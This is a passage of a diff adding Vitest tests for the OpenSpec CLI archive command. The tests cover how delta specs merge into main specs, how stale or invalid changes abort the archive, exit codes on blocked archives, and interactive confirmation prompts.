expect(successIndex).toBeGreaterThan(warningIndex); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.not.toContain( + 'Keep this note.' + ); + await expect(fs.access(changeDir)).rejects.toThrow(); + }); + + it('should support header trim-only normalization for matching', async () => { + const changeName = 'normalize-headers'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'alpha'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Create existing main spec with a requirement (no extra trailing spaces) + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'alpha'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainContent = `# alpha Specification + +## Purpose +Alpha purpose. + +## Requirements + +### Requirement: Important Rule +Some details.`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + + // Change attempts to modify the same requirement but with trailing spaces after the name + const deltaContent = `# Alpha - Changes + +## MODIFIED Requirements + +### Requirement: Important Rule +Updated details.`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updated).toContain('### Requirement: Important Rule'); + expect(updated).toContain('Updated details.'); + }); + + it('should apply operations in order: RENAMED → REMOVED → MODIFIED → ADDED', async () => { + const changeName = 'apply-order'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'beta'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Main spec with two requirements A and B + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'beta'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainContent = `# beta Specification + +## Purpose +Beta purpose. + +## Requirements + +### Requirement: A +content A + +### Requirement: B +content B`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + + // Rename A->C, Remove B, Modify C, Add D + const deltaContent = `# Beta - Changes + +## RENAMED Requirements +- FROM: \`### Requirement: A\` +- TO: \`### Requirement: C\` + +## REMOVED Requirements +### Requirement: B + +## MODIFIED Requirements +### Requirement: C +updated C + +## ADDED Requirements +### Requirement: D +content D`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updated).toContain('### Requirement: C'); + expect(updated).toContain('updated C'); + expect(updated).toContain('### Requirement: D'); + expect(updated).not.toContain('### Requirement: A'); + expect(updated).not.toContain('### Requirement: B'); + }); + + it('should abort with error when MODIFIED references non-existent requirements', async () => { + const changeName = 'validate-missing'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'gamma'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Main spec with no requirements + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'gamma'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainContent = `# gamma Specification + +## Purpose +Gamma purpose. + +## Requirements`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + + // Delta tries to modify a non-existent requirement + const deltaContent = `# Gamma - Changes + +## MODIFIED Requirements +### Requirement: Missing +new text`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // Should not change the main spec and should not archive the change dir + const still = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(still).toBe(mainContent); + // Change dir should still exist since operation aborted + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('should abort stale MODIFIED blocks that would drop current scenarios (issue #1246)', async () => { + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'stale-modified'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecPath = path.join(mainSpecDir, 'spec.md'); + const baseSpec = `# stale-modified Specification + +## Purpose +Stale modified purpose. + +## Requirements + +### Requirement: Shared Rule +The system SHALL support the shared rule. + +#### Scenario: Existing behavior +- **WHEN** the original behavior runs +- **THEN** it succeeds`; + await fs.writeFile(mainSpecPath, baseSpec); + + const changeA = 'modify-shared-a'; + const changeADir = path.join(tempDir, 'openspec', 'changes', changeA); + const changeASpecDir = path.join(changeADir, 'specs', 'stale-modified'); + await fs.mkdir(changeASpecDir, { recursive: true }); + await fs.writeFile(path.join(changeASpecDir, 'spec.md'), `# Stale Modified - Change A + +## MODIFIED Requirements + +### Requirement: Shared Rule +The system SHALL support the shared rule. + +#### Scenario: Existing behavior +- **WHEN** the original behavior runs +- **THEN** it succeeds + +#### Scenario: Behavior from A +- **WHEN** change A behavior runs +- **THEN** it succeeds`); + + const changeB = 'modify-shared-b'; + const changeBDir = path.join(tempDir, 'openspec', 'changes', changeB); + const changeBSpecDir = path.join(changeBDir, 'specs', 'stale-modified'); + await fs.mkdir(changeBSpecDir, { recursive: true }); + await fs.writeFile(path.join(changeBSpecDir, 'spec.md'), `# Stale Modified - Change B + +## MODIFIED Requirements + +### Requirement: Shared Rule +The system SHALL support the shared rule. + +#### Scenario: Existing behavior +- **WHEN** the original behavior runs +- **THEN** it succeeds + +#### Scenario: Behavior from B +- **WHEN** change B behavior runs +- **THEN** it succeeds`); + + await archiveCommand.execute(changeA, { yes: true, noValidate: true }); + await archiveCommand.execute(changeB, { yes: true, noValidate: true }); + + const updated = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updated).toContain('#### Scenario: Existing behavior'); + expect(updated).toContain('#### Scenario: Behavior from A'); + expect(updated).not.toContain('#### Scenario: Behavior from B'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining( + 'stale-modified MODIFIED failed for header "### Requirement: Shared Rule" - current spec contains scenario(s) not present in the modified block: "Behavior from A"' + ) + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + await expect(fs.access(changeBDir)).resolves.not.toThrow(); + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeA))).toBe(true); + expect(archives.some(a => a.includes(changeB))).toBe(false); + }); + + it('should abort MODIFIED that drops a duplicate-named scenario (issue #1246 multiplicity)', async () => { + // Residual blind spot after the original #1246 gate: findMissingCurrentScenarios + // used Set membership, so two current scenarios sharing a name were both + // considered "present" when the MODIFIED block kept only one of them. + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'dup-scenario'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecPath = path.join(mainSpecDir, 'spec.md'); + await fs.writeFile( + mainSpecPath, + `# dup-scenario Specification + +## Purpose +Duplicate scenario names within one requirement. + +## Requirements + +### Requirement: Login +The system SHALL authenticate. + +#### Scenario: Validate +- **WHEN** input is empty +- **THEN** reject + +#### Scenario: Validate +- **WHEN** input is malformed +- **THEN** reject` + ); + + const changeName = 'drop-one-validate'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'dup-scenario'); + await fs.mkdir(changeSpecDir, { recursive: true }); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Drop One Validate - Change + +## MODIFIED Requirements + +### Requirement: Login +The system SHALL authenticate. + +#### Scenario: Validate +- **WHEN** input is empty +- **THEN** reject` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updated = await fs.readFile(mainSpecPath, 'utf-8'); + // Spec must be untouched — both Validate scenarios preserved + expect((updated.match(/#### Scenario: Validate/g) || []).length).toBe(2); + expect(updated).toContain('malformed'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining( + 'dup-scenario MODIFIED failed for header "### Requirement: Login" - current spec contains scenario(s) not present in the modified block: "Validate"' + ) + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + await expect(fs.access(changeDir)).resolves.not.toThrow(); + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should not treat a fenced scenario example in the current spec as real drift', async () => { + // The validator ignores fenced `#### Scenario:` lines (countScenarios is + // fence-aware); the drift check must agree, or a fenced sample in the + // current spec aborts an archive that validate said was fine. + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'fenced-current'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecPath = path.join(mainSpecDir, 'spec.md'); + await fs.writeFile( + mainSpecPath, + `# fenced-current Specification + +## Purpose +Fenced scenario samples in the current spec. + +## Requirements + +### Requirement: Reporting +The system SHALL report results using the scenario format: + +\`\`\`markdown +#### Scenario: Fenced sample +- **WHEN** shown as an example +- **THEN** it is not a real scenario +\`\`\` + +#### Scenario: Emit report +- **WHEN** a run finishes +- **THEN** a report is emitted` + ); + + const changeName = 'edit-fenced-current'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'fenced-current'); + await fs.mkdir(changeSpecDir, { recursive: true }); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Edit Fenced Current - Change + +## MODIFIED Requirements + +### Requirement: Reporting +The system SHALL report results in JSON. + +#### Scenario: Emit report +- **WHEN** a run finishes +- **THEN** a JSON report is emitted` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updated = await fs.readFile(mainSpecPath, 'utf-8'); + expect(updated).toContain('The system SHALL report results in JSON.'); + expect(updated).toContain('a JSON report is emitted'); + expect(console.log).not.toHaveBeenCalledWith( + expect.stringContaining('current spec contains scenario(s) not present in the modified block') + ); + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(true); + }); + + it('should abort when a MODIFIED block only keeps a dropped scenario inside a fence', async () => { + // The inverse hole: a fenced `#### Scenario: Audit` in the incoming block + // must not count as keeping the real Audit scenario the block dropped. + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'fenced-incoming'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainSpecPath = path.join(mainSpecDir, 'spec.md'); + await fs.writeFile( + mainSpecPath, + `# fenced-incoming Specification + +## Purpose +Fenced scenario names in the incoming block. + +## Requirements + +### Requirement: Access log +The system SHALL log access. + +#### Scenario: Audit +- **WHEN** a user signs in +- **THEN** an audit row is written` + ); + + const changeName = 'drop-audit-behind-fence'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'fenced-incoming'); + await fs.mkdir(changeSpecDir, { recursive: true }); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# Drop Audit Behind Fence - Change + +## MODIFIED Requirements + +### Requirement: Access log +The system SHALL log access, for example: + +\`\`\`markdown +#### Scenario: Audit +- **WHEN** shown as an example +- **THEN** it is not a real scenario +\`\`\` + +#### Scenario: Trace +- **WHEN** a request is served +- **THEN** a trace row is written` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updated = await fs.readFile(mainSpecPath, 'utf-8'); + // Spec must be untouched — the real Audit scenario preserved. + expect(updated).toContain('an audit row is written'); + expect(updated).not.toContain('Trace'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining( + 'fenced-incoming MODIFIED failed for header "### Requirement: Access log" - current spec contains scenario(s) not present in the modified block: "Audit"' + ) + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should abort with a structural error when target spec hides requirements outside ## Requirements', async () => { + const changeName = 'hidden-requirement-target'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'delta-target'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'delta-target'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const malformedMain = `# delta-target Specification + +## Purpose +Delta target purpose. + +## Requirements + +### Requirement: A +The system SHALL do A. + +#### Scenario: A works +- **WHEN** foo +- **THEN** bar + +## Edge Cases + +### Requirement: B +The system SHALL do B. + +#### Scenario: B works +- **WHEN** baz +- **THEN** qux`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), malformedMain); + + const deltaContent = `# Delta Target Changes + +## MODIFIED Requirements + +### Requirement: B +The system SHALL do B differently. + +#### Scenario: B changes +- **WHEN** baz changes +- **THEN** qux changes`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('delta-target: target spec is structurally invalid and cannot be updated until fixed:') + ); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Requirement header "### Requirement: B" appears outside the main ## Requirements section.') + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + const still = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(still).toBe(malformedMain); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should require MODIFIED to reference the NEW header when a rename exists (error format)', async () => { + const changeName = 'rename-modify-new-header'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'delta'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Main spec with Old + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'delta'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainContent = `# delta Specification + +## Purpose +Delta purpose. + +## Requirements + +### Requirement: Old +old body`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + + // Delta: rename Old->New, but MODIFIED references Old (should abort) + const badDelta = `# Delta - Changes + +## RENAMED Requirements +- FROM: \`### Requirement: Old\` +- TO: \`### Requirement: New\` + +## MODIFIED Requirements +### Requirement: Old +new body`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), badDelta); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + const unchanged = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(unchanged).toBe(mainContent); + // Assert error message format and abort notice + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('delta validation failed') + ); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Aborted. No files were changed.') + ); + + // Fix MODIFIED to reference New (should succeed) + const goodDelta = `# Delta - Changes + +## RENAMED Requirements +- FROM: \`### Requirement: Old\` +- TO: \`### Requirement: New\` + +## MODIFIED Requirements +### Requirement: New +new body`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), goodDelta); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updated).toContain('### Requirement: New'); + expect(updated).toContain('new body'); + expect(updated).not.toContain('### Requirement: Old'); + }); + + it('should process multiple specs atomically (any failure aborts all)', async () => { + const changeName = 'multi-spec-atomic'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const spec1Dir = path.join(changeDir, 'specs', 'epsilon'); + const spec2Dir = path.join(changeDir, 'specs', 'zeta'); + await fs.mkdir(spec1Dir, { recursive: true }); + await fs.mkdir(spec2Dir, { recursive: true }); + + // Existing main specs + const epsilonMain = path.join(tempDir, 'openspec', 'specs', 'epsilon', 'spec.md'); + await fs.mkdir(path.dirname(epsilonMain), { recursive: true }); + await fs.writeFile(epsilonMain, `# epsilon Specification + +## Purpose +Epsilon purpose. + +## Requirements + +### Requirement: E1 +e1`); + + const zetaMain = path.join(tempDir, 'openspec', 'specs', 'zeta', 'spec.md'); + await fs.mkdir(path.dirname(zetaMain), { recursive: true }); + await fs.writeFile(zetaMain, `# zeta Specification + +## Purpose +Zeta purpose. + +## Requirements + +### Requirement: Z1 +z1`); + + // Delta: epsilon is valid modification; zeta tries to modify non-existent -> should abort both + await fs.writeFile(path.join(spec1Dir, 'spec.md'), `# Epsilon - Changes + +## MODIFIED Requirements +### Requirement: E1 +E1 updated`); + + await fs.writeFile(path.join(spec2Dir, 'spec.md'), `# Zeta - Changes + +## MODIFIED Requirements +### Requirement: Missing +missing body`); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const e1 = await fs.readFile(epsilonMain, 'utf-8'); const z1 = await fs.readFile(zetaMain, 'utf-8'); expect(e1).toContain('### Requirement: E1'); expect(e1).not.toContain('E1 updated'); @@ -741,128 +3254,3909 @@ E1 updated`); await expect(fs.access(changeDir)).resolves.not.toThrow(); }); - it('should display aggregated totals across multiple specs', async () => { - const changeName = 'multi-spec-totals'; + it('should display aggregated totals across multiple specs', async () => { + const changeName = 'multi-spec-totals'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const spec1Dir = path.join(changeDir, 'specs', 'omega'); + const spec2Dir = path.join(changeDir, 'specs', 'psi'); + await fs.mkdir(spec1Dir, { recursive: true }); + await fs.mkdir(spec2Dir, { recursive: true }); + + // Existing main specs + const omegaMain = path.join(tempDir, 'openspec', 'specs', 'omega', 'spec.md'); + await fs.mkdir(path.dirname(omegaMain), { recursive: true }); + await fs.writeFile(omegaMain, `# omega Specification\n\n## Purpose\nOmega purpose.\n\n## Requirements\n\n### Requirement: O1\no1`); + + const psiMain = path.join(tempDir, 'openspec', 'specs', 'psi', 'spec.md'); + await fs.mkdir(path.dirname(psiMain), { recursive: true }); + await fs.writeFile(psiMain, `# psi Specification\n\n## Purpose\nPsi purpose.\n\n## Requirements\n\n### Requirement: P1\np1`); + + // Deltas: omega add one, psi rename and modify -> totals: +1, ~1, -0, →1 + await fs.writeFile(path.join(spec1Dir, 'spec.md'), `# Omega - Changes\n\n## ADDED Requirements\n\n### Requirement: O2\nnew`); + await fs.writeFile(path.join(spec2Dir, 'spec.md'), `# Psi - Changes\n\n## RENAMED Requirements\n- FROM: \`### Requirement: P1\`\n- TO: \`### Requirement: P2\`\n\n## MODIFIED Requirements\n### Requirement: P2\nupdated`); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // Verify aggregated totals line was printed + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Totals: + 1, ~ 1, - 0, → 1') + ); + }); + }); + + describe('exit code on blocked archive (human mode)', () => { + // Regression for the silent-exit-0 bug: when archive is blocked in + // human mode it must set a non-zero exit code so scripts/CI can detect + // the failure, mirroring the JSON-mode behavior. + it('runs delta spec validation for lowercase delta headers (parity with validate)', async () => { + const changeName = 'exit-lowercase-delta'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'lower-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Lowercase section header: the parser reads it case-insensitively, so + // the archive gate must route it into delta validation the same way + // validate does instead of falling through to the rebuilt-spec check. + const specContent = `# Lower Capability - Changes + +## added requirements + +### Requirement: Logging Feature +The system SHALL log all events.`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('must include at least one scenario') + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('sets exit code 1 when delta spec validation fails', async () => { + const changeName = 'exit-delta-fail'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'bad-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Delta spec missing requirement text -> validation error + const specContent = `# Bad Capability - Changes + +## ADDED Requirements + +### Requirement: Logging Feature + +#### Scenario: Event recorded +- **WHEN** an event occurs +- **THEN** it is captured`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Validation failed') + ); + + // Change must NOT have been archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('sets exit code 1 when the only delta spec sits at the specs/ root (#1385)', async () => { + const changeName = 'exit-root-delta'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecsDir = path.join(changeDir, 'specs'); + await fs.mkdir(changeSpecsDir, { recursive: true }); + + // No capability folder: the merge path skips this file, so archiving it + // used to succeed while dropping the requirement. + const specContent = `## ADDED Requirements + +### Requirement: Request metrics +The system SHALL record request metrics. + +#### Scenario: Request is counted +- **WHEN** a request completes +- **THEN** a counter is incremented`; + await fs.writeFile(path.join(changeSpecsDir, 'spec.md'), specContent); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Validation failed') + ); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('sets exit code 1 for a root-level specs/spec.md without delta headers (#1385)', async () => { + const changeName = 'exit-root-plain'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecsDir = path.join(changeDir, 'specs'); + await fs.mkdir(changeSpecsDir, { recursive: true }); + + // Main-spec shape rather than delta shape: still never merged, so the + // gate must trip on the file existing, not on its headers. + const specContent = `# Metrics + +## Purpose +Metrics for requests. + +## Requirements + +### Requirement: Request metrics +The system SHALL record request metrics. + +#### Scenario: Request is counted +- **WHEN** a request completes +- **THEN** a counter is incremented`; + await fs.writeFile(path.join(changeSpecsDir, 'spec.md'), specContent); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('sets exit code 1 when spec rebuild fails (MODIFIED on new spec)', async () => { + const changeName = 'exit-rebuild-fail'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'new-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // MODIFIED on a non-existent target spec aborts the rebuild + const specContent = `# New Capability - Changes + +## ADDED Requirements + +### Requirement: New Feature +New feature description. + +## MODIFIED Requirements + +### Requirement: Existing Feature +Modified content.`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'new-capability', 'spec.md'); + await expect(fs.access(mainSpecPath)).rejects.toThrow(); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('sets exit code 1 when rebuilt spec fails validateSpecContent', async () => { + // Spot 3 is defensive: spot 1 (validateChangeDeltaSpecs) already + // enforces SHALL/MUST/scenario rules on the delta, and buildUpdatedSpec + // pre-validates target structure, so a real delta almost never reaches + // this branch. Spy on validateSpecContent (the existing --no-validate + // test uses the same spy pattern) to force the rebuilt spec invalid + // while buildUpdatedSpec runs for real — exercising the exit-code fix. + const changeName = 'exit-rebuilt-validate-fail'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'rebuilt-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Existing main spec so MODIFIED targets a real spec and buildUpdatedSpec + // succeeds (does not throw). + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'rebuilt-capability'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const mainContent = `# rebuilt-capability Specification + +## Purpose +Rebuilt capability purpose. + +## Requirements + +### Requirement: Existing Feature +The system SHALL do the thing. + +#### Scenario: works +- **WHEN** x +- **THEN** y`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainContent); + + // Valid MODIFIED delta (passes spot 1 delta validation). + const deltaContent = `# Rebuilt Capability - Changes + +## MODIFIED Requirements + +### Requirement: Existing Feature +The system SHALL do the thing differently. + +#### Scenario: works +- **WHEN** x +- **THEN** z`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaContent); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + const specContentSpy = vi + .spyOn(Validator.prototype, 'validateSpecContent') + .mockResolvedValue({ + valid: false, + issues: [ + { level: 'ERROR', path: 'requirements[0]', message: 'mocked rebuilt-spec failure' }, + ], + summary: { errors: 1, warnings: 0, info: 0 }, + }); + + try { + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + // buildUpdatedSpec ran for real and the spy made its output "invalid" + expect(specContentSpy).toHaveBeenCalled(); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Validation errors in rebuilt spec for rebuilt-capability') + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + // Main spec must be unchanged (no writes happened) + const still = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(still).toBe(mainContent); + + // Change must NOT have been archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + } finally { + specContentSpy.mockRestore(); + } + }); + + it('leaves exit code 0 on successful archive (no leak from prior test)', async () => { + const changeName = 'exit-ok'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBeUndefined(); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(true); + }); + }); + + describe('error handling', () => { + it('should report no active changes when openspec directory does not exist', async () => { + // Remove openspec directory + await fs.rm(path.join(tempDir, 'openspec'), { recursive: true }); + + await expect( + archiveCommand.execute('any-change', { yes: true }) + ).rejects.toThrow("Change 'any-change' not found. No active changes exist in this root."); + }); + }); + + describe('interactive mode', () => { + it('should use select prompt for change selection', async () => { + const { select } = await import('@inquirer/prompts'); + const mockSelect = select as unknown as ReturnType<typeof vi.fn>; + + // Create test changes + const change1 = 'feature-a'; + const change2 = 'feature-b'; + await fs.mkdir(path.join(tempDir, 'openspec', 'changes', change1), { recursive: true }); + await fs.mkdir(path.join(tempDir, 'openspec', 'changes', change2), { recursive: true }); + + // Mock select to return first change + mockSelect.mockResolvedValueOnce(change1); + + // Execute without change name + await archiveCommand.execute(undefined, { yes: true }); + + // Verify select was called with correct options (values matter, names may include progress) + expect(mockSelect).toHaveBeenCalledWith(expect.objectContaining({ + message: 'Select a change to archive', + choices: expect.arrayContaining([ + expect.objectContaining({ value: change1 }), + expect.objectContaining({ value: change2 }) + ]) + })); + + // Verify the selected change was archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives[0]).toContain(change1); + }); + + it('should use confirm prompt for task warnings', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + + const changeName = 'incomplete-interactive'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + // Create tasks.md with incomplete tasks + const tasksContent = '- [ ] Task 1'; + await fs.writeFile(path.join(changeDir, 'tasks.md'), tasksContent); + + // Mock confirm to return true (proceed) + mockConfirm.mockResolvedValueOnce(true); + + // Execute without --yes flag + await archiveCommand.execute(changeName); + + // Verify confirm was called + expect(mockConfirm).toHaveBeenCalledWith({ + message: 'Warning: 1 incomplete task(s) found. Continue?', + default: false + }); + }); + + it('should cancel when user declines task warning', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + + const changeName = 'cancel-test'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + // Create tasks.md with incomplete tasks + const tasksContent = '- [ ] Task 1'; + await fs.writeFile(path.join(changeDir, 'tasks.md'), tasksContent); + + // Mock confirm to return false (cancel) for validation skip + mockConfirm.mockResolvedValueOnce(false); + // Mock another false for task warning + mockConfirm.mockResolvedValueOnce(false); + + // Execute without --yes flag but skip validation to test task warning + await archiveCommand.execute(changeName, { noValidate: true }); + + // Verify archive was cancelled + expect(console.log).toHaveBeenCalledWith('Archive cancelled.'); + + // Verify change was not archived + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + + it('prompts before archiving a change whose only unfinished work is a sub-task (#1485)', async () => { + // The other half of the gate: without --yes the user is asked, and + // declining leaves the change in place. Before the fix there was no + // question to answer - the sub-task was invisible and archive ran. + const { confirm } = await import('@inquirer/prompts'); + 